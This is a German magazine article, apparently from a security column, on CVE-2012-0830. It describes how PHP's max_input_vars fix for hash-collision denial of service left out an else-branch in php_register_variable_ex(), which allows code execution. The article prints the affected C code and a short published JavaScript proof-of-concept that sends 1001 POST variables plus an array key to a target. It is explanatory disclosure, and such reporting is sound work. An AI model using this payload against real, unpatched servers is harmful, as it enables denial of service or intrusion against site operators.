Open Source im professionellen Einsatz

PHP: Sicherheitslücke durch Fix

Wie im Insecurity Bulletin kürzlich berichtet war die Umsetzung von Hash-Tabellen in zahlreichen Programmiersprachen anfällig für eine einfache Kollisionsattacke. Sie ließ sich für Denial-of-Service-Attacken ausnutzen. Die PHP-Community reagierte darauf mit einem Patch, das diese Lücke beseitigen sollte. Wie sich nun zeigte, hat dieses Patch jedoch ein noch größeres Sicherheitsloch gerissen.

Die Kollisionsattacke basierte darauf, dass ein Angreifer eine große Anzahl von Post-Argumenten in eine Anfrage senden kann. Der PHP-Fix fügte daher der "php.ini" die neue Konfigurationsoption "max_input_vars" hinzu. Damit lässt sich die Zahl der Parameter einer einzelnen Anfrage beschränken, wobei der Default-Wert auf 1000 gesetzt ist. Neben randomisierten Hash-Tabellen ist dies eine effektive Methode, Kollisionsattacken zu verhindern.

Neben dem Hinzufügen dieser Option musste natürlich auch ein wenig PHP-Code geändert werden, speziell jener, der für das Registrieren und Behandeln von PHP-Variablen zuständig ist. Dieser Programmteil ist in der Quelltextdatei "php_variables.c" zu finden. Dort haben die Entwickler die Funktion "php_register_variable_ex()" geändert.

Bei einer Web-Anfrage wie "http://request.com/foo.php?a=1&b=2&c=3" werden die verschiedenen Variablen von PHP folgendermaßen registriert:

if (sapi_module.input_filter(PARSE_POST, var, &val, val_len, &new_val_len TSRMLS_CC)) {
    php_register_variable_safe(var, val, new_val_len, array_ptr TSRMLS_CC);
}

Dabei wird auch die Funktion "php_register_variable_ex()" aufgerufen:

PHPAPI void php_register_variable_ex(char *var_name, zval *val, zval *track_vars_array TSRMLS_DC)
{
...

if (is_array) {
...
 
        if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) {
            if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
                php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));
            }
            MAKE_STD_ZVAL(gpc_element);
            array_init(gpc_element);
            zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
        }
 ... 
        symtable1 = Z_ARRVAL_PP(gpc_element_p);
 ...
}

Hier kommt es jedoch zu einem Problem, wenn die Zahl der übergebenen Request-Prameter den Wert "max_input_vars" übersteigt. Offensichtlich sollte in diesem Fall ein Else-Fall für die If-Abfrage

if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) 

aufgerufen werden. Dieser ist aber nicht implementiert, und der Code kann weiter durchlaufen. Das ist problematisch, wenn es sich bei der einzufügenden Variablen um ein Array handelt. In diesem Fall macht es das Versehen nämlich möglich, Anweisungen auszuführen.

Ein Exploit wurde ebenfalls veröffentlicht:

// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/

// Generate 1000 normal keys and one array
function createEvilObj () {
    var evil_obj = {};
    for (var i = 0; i < 1001; i++) {
        evil_obj[i] = 1;
    }
    evil_obj['kill[]'] = 'kill';
    return evil_obj;
}

// Serialize Javascript object into POST data
function serializeObj (obj) {
    var str = [];
    for(var p in obj) {
        str.push(p + "=" + obj[p]);
    }
    return str.join("&");
}

// Run attack
function attackSite () {
    var bad = serializeObj(createEvilObj());
    var xhr = new XMLHttpRequest();
    xhr.open("POST", location.href, true);
    xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    xhr.setRequestHeader('Content-Length', bad.length);
    xhr.send(bad);
}

attackSite();

Ein weiterer Exploit findet sich bei Security Focus.

Das PHP-Projekt hat auf dieses neue Problem reagiert und die Schwachstelle in Version 5.3.10 korrigiert.

comments powered by Disqus

Ausgabe 05/2014

Digitale Ausgabe: Preis € 6,40
(inkl. 19% MwSt.)

Artikelserien und interessante Workshops aus dem Magazin können Sie hier als Bundle erwerben.

Insecurity Bulletin

Insecurity Bulletin

Im Insecurity Bulletin widmet sich Mark Vogelsberger aktuellen Sicherheitslücken sowie Hintergründen und Security-Grundlagen. mehr...

Linux-Magazin auf Facebook